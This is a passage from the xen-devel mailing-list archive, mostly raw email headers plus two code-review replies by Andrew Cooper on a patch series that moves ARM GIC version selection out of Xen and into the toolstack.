	yPttxM7PcslOWftSey0qxqVl4KY9ykhqCc5+MAnlmqlEfJH8B0qHg2sinYbcV3bBMVrkcrmgw4R+gYysxXmXUbVaUiU4PO3t/vVc0C37u2ELeXyPvEahhOYevsDuXjDTNgBNQe/NHusIL7itfm3HyZfMpjZvq8SFlsXkctTLptRNoo4hS4o7qQ669OtvRPPDuGtcEdv9pESGsmxXyHslN7prDSfocIpTrDweXFxYl2rcbfRnbkF2kshJ9VfKMPz65DVhBacZdH1mvq06v1zUBE7UUd7nMGTKFsRvv8Png5xtprIrmmpm5X/zZhlFnxzinuO1yadqjN0dfF323T6PvX7aNSVvDTnkeiWv0dBTfV7vxmDg3W5sgWXYiovey8NDniZ/8YsbgXYqwb9aQtdokQ2U10dzku3hFOH11dzOAJi/xrvR0oJDwZCi0fBaTDrS+X3moNhxDFw2vUBiDxQwsKxPgAh7fF/DtIMEQ1LSF2GoGHlxpY2eON3BA6SKlqd4pSjVD9dLBck6OlBwPNlcbB93gyuYtkpn0METYHWVLtL6jEy5xn+3ubV6hCy8CST1Ts1nweoeYALwC5mL8mMiiCFUBCXAJ6Y3fEdLjybLS4xBT2rTbAQiEVyLqHI83LC2ldKWREliV/b/WhLtV7MuTQsAtkB9MZXQcFAWkIZZAbU=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(7416014)(376014)(23010399003)(366016)(1800799024)(6133799003)(56012099006)(4143699003)(11063799006)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?V3QxWG4wa0Z4ajE1RkNiekJuM2IzL25JaGpoUmdjL3VDRWs2L0RwNFRDb1Uy?=
 =?utf-8?B?MFJSQkFZVG5hNHJ6NSs0WHhXLzJUbi82Q1JwdE5iK1VkanhwWDFEUHpyWmtQ?=
 =?utf-8?B?NUVPYUE1N2ZJdlAzSk9DQWFOMHY5Y2dOSTRzbkNaaUhISk9YYnllYkpxY1Z0?=
 =?utf-8?B?Y2VKdlNZUks4UWozdndGVVVBK3QxNjl2WlR3OGwxZWVSUlcwdGlSV0kxbFND?=
 =?utf-8?B?Qjc5MC9jTXVpOURONFUvd0FpYjJIWDkwWG9QZGhwTmtHZzY5eStVZjRVT3FZ?=
 =?utf-8?B?cWVmRWJzNG43TGpwRG40bUxE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 =?utf-8?B?K2RLSXJPMFAwdDFGS1BlKytBU2VxeUNwM29WNEp2djVlcmc2bUFULzlyQVZW?=
 =?utf-8?B?Zyt0aFcxdXRsZjlGNEZFaERjNDJ2YWRuYWlBMCtVUjZoZU1FclZiMW9aNXNS?=
 =?utf-8?B?VHVLY3k2WngwNmp6MU5pQVF5MXRIUVIrMlROckhiTmtPdFplc1lUSXVWRk5o?=
 =?utf-8?B?aTRQMnBSbnRORTJ1Qk5OQ2tiNCt3VGJsN1kzbE9IdWU2dHZySjVlaGlCbEov?=
 =?utf-8?B?V2kxY3RmMzVjNnVLNW40ZHhBOHppL2cyVStnL3gxMTNZZ2ZlajdaZz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 3bb89d75-65a7-4b2a-924a-08dedeabcacb
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 17:50:55.7708
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: NbNZCKdqgDmkYCj3y4g6gt4t8qJpy3fxkTCsAEJgmFRqzW1gkdFykDKp40av8N+jrdW+dEqiDsdQrv/OnI6ZX88h84pkqeVYMHkw5KGmKyg=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH0PR03MB6349
X-purgate-ID: tlsNG-d62444/1783705860-6CA9D0A8-27299035/0/0
X-purgate-type: clean
X-purgate-size: 1102

On 10/07/2026 2:57 pm, Julian Vetter wrote:
> When creating a domain on ARM, and passing XEN_DOMCTL_CONFIG_GIC_NATIVE
> for the gic_version field in the struct xen_arch_domainconfig,
> arch_sanitise_domain_config() resolves this to the approrpiate GIC_V2 or
> GIC_V3 version the domain actually has, based on the host's
> gic_hw_version(). That value is stored in the domain as
> d->arch.vgic.version, but can't be queried through any other domctl
> later. Toolstacks that create and build a domain in the same call
> already have this info from the createdomain reply and never need to ask
> again.
>
> Toolstacks that create a domain and build it later from a separate
> process do need to ask again. But, the ARM implementation only fills in
> info->flags and info->gpaddr_bits. info->arch_config is left zeroed, so
> XEN_DOMCTL_getdomaininfo always reports gic_version as
> XEN_DOMCTL_CONFIG_GIC_NATIVE (0) regardless of what was actually
> configured earlier.
>
> Signed-off-by: Julian Vetter <julian.vetter@vates.tech>

Reviewed-by: Andrew Cooper <andrew.cooper3@citrix.com>


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 18:55:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 18:55:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359794.1613177 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiGNh-00013b-R4; Fri, 10 Jul 2026 18:55:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359794.1613177; Fri, 10 Jul 2026 18:55:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiGNh-00013U-O8; Fri, 10 Jul 2026 18:55:25 +0000
Received: by outflank-mailman (input) for mailman id 1359794;
 Fri, 10 Jul 2026 18:55:25 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wiGNg-00013O-Vj
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 18:55:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiGNg-00FePb-CQ
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 20:55:24 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a513ff0-bab6-0a2a0a5309dd-0a2a4502ca3c-24
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 20:55:24 +0200
Received: from [52.101.56.53]
 (helo=BN1PR04CU002.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a51401a-64c6-0a2a45020019-346538350fd9-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 20:55:24 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by SJ0PR03MB5870.namprd03.prod.outlook.com (2603:10b6:a03:2de::18)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.18; Fri, 10 Jul
 2026 18:55:20 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Fri, 10 Jul 2026
 18:55:20 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=rQ+HuRzqy/YSyea5Yw/SXc+oGPLX86B0HXeniCpgVtX1etawL3Xey6tBnw9n/p3qHkIGpijfw8htw6eGayu1kBwE/ftc1kqJWk6LWaSAGTZKOAwriQRg3cFx0uoMJB0F9PqHDbdPYh0xhcLHPa1diE8w67gwCB5CpGcqm7GMQc/8RAK6ryp6au8iAsMw7jer6RY7jIw8uoCccPbCHsP0+dq4p+MvZ2vrat9E2AsuL51hTMljjXCmfnv/Ikxt8GmyYQ27cRUhuwgNtWo3rqbeITU/VOTF17HOKO98KpkKa2VjyA9qwyRhTLJnPyI2zsLM71ESWtkxRjcKtFACaMUrRw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=4UsILuRLojQAjxWgzSJMfs8PYTa2UEB636AO3eoiYBk=;
 b=o3bHpU7Vd/A+b0HHOw73CX7xhfrrZy5s/T1BMsVkYnNdbdJNSS0Zn4a+/ejOisxgOJkKSxo7jzTZBElWZQASS6Sai9d5Zd4Zgh+PsCzr7+oVccl1TNn9tmxnbEtZnb/AUz9iIwTC4Cia3WXsmlcOr1GS9A5Qv5tF04mqpfFvb0psxzwSsc39YQCSiIBxnUIc6cofLwnLTjuttvrYio90dVDDOYVcehUb0Hj9NkyNFEF8/P3esxo+DB2FURHAEJWaQA602I05y8zeu63pAgIEe2VRMRZGBqWkFbvUbGTWWrDJbIXt/XKZezZQlOGXSmsq9l3c+hwsprvkJ7soJ3JFnw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=4UsILuRLojQAjxWgzSJMfs8PYTa2UEB636AO3eoiYBk=;
 b=EHE7R/P4e/+46pafgMgwSWgrfh49CaM4vRrT4m9SPD0Xeu3O9/tghtgfzwpU8AD0jixC0fnyDeXsUkF/LIm4GIVRHofFMUnn8UuOAIBUvjhKRZV0Q8DBGKIaOQx4BeJXxMOweknsATMwnCvyaYPkhG3z/Rlx6gYV/q+tO2Amxqk=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <8dcce50e-a4f3-4177-b2f6-06257c2607b3@citrix.com>
Date: Fri, 10 Jul 2026 19:55:16 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Stefano Stabellini <sstabellini@kernel.org>,
 Juergen Gross <jgross@suse.com>, Andrii Sultanov
 <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
 Timothy Pearson <tpearson@raptorengineering.com>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH v2 3/6] xen/arm: choose GIC version explicitly instead of
 GIC_NATIVE
To: Julian Vetter <julian.vetter@vates.tech>, xen-devel@lists.xenproject.org
References: <20260710135503.301746-1-julian.vetter@vates.tech>
 <20260710135711.301993-1-julian.vetter@vates.tech>
 <1783691842.8631fc262581453bbf619ec5b2062170.19f4c5194c3000edb5@vates.tech>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5+lHkCKWkFxZ0gZn33ju5n6/FOdEx4B8cMJt+cWwARAQABzSlBbmRyZXcgQ29v
 cGVyI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FuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <1783691842.8631fc262581453bbf619ec5b2062170.19f4c5194c3000edb5@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0070.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:153::21) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|SJ0PR03MB5870:EE_
X-MS-Office365-Filtering-Correlation-Id: 95dcd6e7-97ad-4828-3025-08dedeb4ca39
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|1800799024|23010399003|376014|7416014|22082099003|18002099003|4143699003|11063799006|56012099006|6133799003;
X-Microsoft-Antispam-Message-Info:
	R5DJFbit1CUg4xBMC+KKnLKA/hIiqxGxBXQsFsVkJ7r8cVJzSvrjhj3bIoZJzr4cl7KmCCfrbVX5PvIwRCBCB8sY45PG/r4EVQLoQegz/2vtdqpg6guyZXT32X+3A1h6gZGfAS7QtmmFKtO3uAmMgBNrs1XXdtobAfVyDugG4UCqPzXRYtfJFrYL0x9KSNqpQwshgyLIjpqS0WRhqrQXk1g9GyFxFpXPOL7lq1bj8n1VH0CcnKg5dZH66Vcu/Fpteb3vIOfOifhpwcVjN8mVYtxhjCFbcc9P6GWL6OwEg9ATvqWgWvcGHHjtz+v/4UFTuDOLdwlCQ89VUjnE4sqiFjclykP4LIJryREq2/7bSOfbpD42eZYNWF8B6QYvdWGxextyO2Pde7oNhxNWaG6RPcyQBrsNufV959F3+KGiIiqMIJMybwqbnywHWYr96GWJJzNVUwkoJpBRsFpbBNdOBtnbGWvPYlu8b/5n4OaE86yfrm7J7qTvp9CtUljXgzd0qbLIWCzgM3qX0X5aQ7D+HMeJLGONS8EhWyoEPxJx/+rp7pQJNdIYYCdLZztO0KeXSXfnRYchObjRo+6Wkmb2CU0BU7T4FRFuwGWQFpCvaC6g+Jl3Yg8KOI5egUF0NstgnyoT5zVHWagYikS1GOdxEIONjBXbaKXI8nRehYzx4w4=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(23010399003)(376014)(7416014)(22082099003)(18002099003)(4143699003)(11063799006)(56012099006)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?RlVYRVhLRXY4TkVlRHRjeisrYXA4SHJoVXJGU0VKeUEzeHJwTGRHZ1JpU0ZR?=
 =?utf-8?B?M1phODYwS0I3NHJkc3lJd3ZjeHlVRjBBTDE4MDNONGxoSmZwQ2o0RkFpZ21m?=
 =?utf-8?B?a3E0U3NQV1E0b3R0Kys1Yjkxb2t0TXVUUDBzRTVVWmFzeCt0cm9NUDlXK25H?=
 =?utf-8?B?YXNwdHgrSEt0MFJzNE03ODhjUG5NaGcwNlVIekw4d1JBb05rVk91M2JKNmV1?=
 =?utf-8?B?ZFhJQzEyaTY4Tm9SMzUwSXhmU1M3SmVrZ1l6VXJETVBEVUZNNWZlWWtoUGJv?=
 =?utf-8?B?N0psWFVhSENrSW1QNlFaZFIzTDRXaXdsT2pQZERVeDd5cysySFpxb0hGZzVQ?=
 =?utf-8?B?azFLTEtEQ2ZPNEdJNGNEY2JaYlhSdHZlRzNhSXJVMkRnSWV0dzBqcEZvM0Ja?=
 =?utf-8?B?ZXlNYU9maHkxMUhzUmhUcERMMENP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 =?utf-8?B?L2xZT3Z5QjhWU29PSTBhYjZ6MDBFWHhwQWlyWjJ1RkpzODZxM2FXeWlOUWdE?=
 =?utf-8?B?MTg4elNjMlhuMndBRTJ2SllxclY0U3NzOHVidlVxVVIvTk5qdGxMRTBzV1F6?=
 =?utf-8?B?VHRhNkZVay9leHZpck8rSHhwcW56VEpLVGd4WEFGUFZYcVJCdUhpdz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 95dcd6e7-97ad-4828-3025-08dedeb4ca39
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 18:55:20.3976
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: CO1yMaWZB9zXZ0mt/Jt2b5T89+F7MmJH21n4yfj6MuQ9rIuGxSxtaEsdz3IJVYb5D6I4pwAldAnj3vbaALqbrJF9B7mPrnhxHezSGONiDrY=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR03MB5870
X-purgate-ID: tlsNG-720697/1783709724-3E944A87-88D1B0E7/0/0
X-purgate-type: clean
X-purgate-size: 4154

On 10/07/2026 2:57 pm, Julian Vetter wrote:
> From: Andrew Cooper <andrew.cooper3@citrix.com>
>
> XEN_DOMCTL_CONFIG_GIC_NATIVE lets the toolstack ask Xen to silently
> resolve the domain's GIC version to whatever the host hardware has. Xen
> then writes the resolved value back into the same in/out
> xen_arch_domainconfig the toolstack used as input, which is the kind of
> API abuse we're trying to get rid of. The struct passed to createdomain
> should only be an input parameter.
>
> Move the "pick the best available GIC version" decision to the
> toolstack, using the XEN_SYSCTL_PHYSCAP_ARM_GIC_V2/V3 capability bits
> already exposed via XEN_SYSCTL_physinfo:
>
>  * libxl__arch_domain_build_info_setdefault() resolves
>    LIBXL_GIC_VERSION_DEFAULT to v3 if available, else v2, else fails,
>    before the config is built.
>  * The Python xc.domain_create() binding does the same via a call to
>    xc_physinfo().
>  * libxl__arch_domain_prepare_config() therefore only ever sees a
>    concrete v2/v3 request and just validates it.
>
> On the Xen side, arch_sanitise_domain_config() and the two in-Xen domain
> builders (create_dom0() and arch_parse_dom0less_node(), which always
> want a vGIC that exactly matches the hardware) no longer resolve
> GIC_NATIVE either. A new gic_domctl_version() helper returns the
> XEN_DOMCTL_CONFIG_GIC_* value matching the host's gic_hw_version(), used
> by all three. arch_sanitise_domain_config() now only validates that the
> requested version is compatible with the hardware, rather than changing
> config->arch.gic_version in place.
>
> Signed-off-by: Julian Vetter <julian.vetter@vates.tech>

Ah - my test branch didn't have a SoB line, but you need one from me if
you want to keep me as author.

However, my version didn't even compile, and you've done almost all the
work in this patch, so just take full ownership and solve the problem
that way.

> ---
> Changes in v2:
> - New patch
> ---
>  .../include/xen-tools/arm-arch-capabilities.h | 21 ++++++++++++++++
>  tools/libs/light/libxl_arm.c                  | 15 ++++++++---
>  tools/python/xen/lowlevel/xc/xc.c             | 18 ++++++++++++-
>  xen/arch/arm/dom0less-build.c                 |  3 ++-
>  xen/arch/arm/domain.c                         | 25 +++++++------------
>  xen/arch/arm/domain_build.c                   |  3 ++-
>  xen/arch/arm/gic.c                            | 16 ++++++++++++
>  xen/arch/arm/include/asm/gic.h                |  6 +++++
>  8 files changed, 85 insertions(+), 22 deletions(-)

Also, I think you want to split this patch in two, and merge half into
the subsequent patch.

In this patch, deal only with the tools side of things guaranteeing not
to produce XEN_DOMCTL_CONFIG_GIC_NATIVE.

Then in the subsequent patch, delete XEN_DOMCTL_CONFIG_GIC_NATIVE and
disallow it from being consumed by Xen.Â  That way, you've got one clean
tools patch and one clean Xen patch.


>
> diff --git a/tools/include/xen-tools/arm-arch-capabilities.h b/tools/include/xen-tools/arm-arch-capabilities.h
> index 4aa4c6c34a..21e3c73bd1 100644
> --- a/tools/include/xen-tools/arm-arch-capabilities.h
> +++ b/tools/include/xen-tools/arm-arch-capabilities.h
> @@ -6,6 +6,7 @@
>  #ifndef ARM_ARCH_CAPABILITIES_H
>  #define ARM_ARCH_CAPABILITIES_H
>  
> +#include <stdbool.h>
>  #include <stdint.h>
>  #include <xen/sysctl.h>
>  
> @@ -25,4 +26,24 @@ unsigned int arch_capabilities_arm_sve(unsigned int arch_capabilities)
>  #endif
>  }
>  
> +static inline
> +bool arch_capabilities_arm_gic_v2(unsigned int arch_capabilities)
> +{
> +#if defined(__arm__) || defined(__aarch64__)
> +    return MASK_EXTR(arch_capabilities, XEN_SYSCTL_PHYSCAP_ARM_GIC_V2);
> +#else
> +    return false;
> +#endif
> +}
> +
> +static inline
> +bool arch_capabilities_arm_gic_v3(unsigned int arch_capabilities)
> +{
> +#if defined(__arm__) || defined(__aarch64__)
> +    return MASK_EXTR(arch_capabilities, XEN_SYSCTL_PHYSCAP_ARM_GIC_V3);
> +#else
> +    return false;
> +#endif
> +}

This is truly awful, but seems to be the prevailing pattern.

~Andrew


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 18:57:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 18:57:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359803.1613186 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiGPb-0001aO-8d; Fri, 10 Jul 2026 18:57:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359803.1613186; Fri, 10 Jul 2026 18:57:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiGPb-0001aH-5V; Fri, 10 Jul 2026 18:57:23 +0000
Received: by outflank-mailman (input) for mailman id 1359803;
 Fri, 10 Jul 2026 18:57:21 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wiGPZ-0001a9-Lu
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 18:57:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiGPZ-007vrE-2m
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 20:57:21 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a51407b-e002-0a2a0a5209dd-0a2a4507e506-16
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 20:57:21 +0200
Received: from [40.93.195.31]
 (helo=SN4PR2101CU001.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a51408f-ac46-0a2a45070019-285dc31fa1d4-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 20:57:20 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by SJ0PR03MB5870.namprd03.prod.outlook.com (2603:10b6:a03:2de::18)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.18; Fri, 10 Jul
 2026 18:57:16 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Fri, 10 Jul 2026
 18:57:16 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=meUcSkxmHWUCTPimcQHV3xTW7AKmLo7HOdddmyp7Dmfizba4dONoIFb5t/f59FewE8Ngp2uMLgW6Ya9FVmzuyJi74CErEFtS9VW/g220o6ZROS+/fTroNDRBL/CGOso4dcO9fIyZtfJjh42HFmK8PmghnuZXO6mxRg5SwN6gtB3WGsHWzR6L6WFHp4FLx05aY9k+5yEsN9RPl+O4uY7Ut99tvtg3FgjdB6K5fFzpNcA8B/sSME9nyiIrA0uiTy8qwqwbqgT9BEREAF2uOGnV1Ks5wEEuqTfMXqYidOOqgfh+r+CfZZFEdpepLLLwck368wIYGnfy3/k2OhoyhwPj9Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=mO2rpI6jKmcwoof9QYqzfONsv5KjTgE5vpxDjWDBNGk=;
 b=f1NHdnluzNdzKmwuEKkas2uXCGKOW7RWGxR3g9nuq0TqlJhARwksctZumVbPotGo1xEJAZyj5jMJLE4lGcu2uA+a8h54FKXq0pqwYPn+6LQxLNHGQP8VcdpZwPU4zYpXJa3GHwxmTZa95+7ifP/aIGGqaWNPH+4JFrZJwasJE5JY2gwht7VqZVrspyJjKh7qsYQgDhMsTvUW5q+nfGZAv5Ylfe2elB9XfkHj7DAtBCVhApFyeWXX/OIfOOixFmdAK7+fe6oc63KVWVGySnuk+R495QW1IcIVJuyGfMIUkidu8BDZiX0IQuYi7ZjK2xN2ZqoFIXCUMDkQ8RoIt3k2Fg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
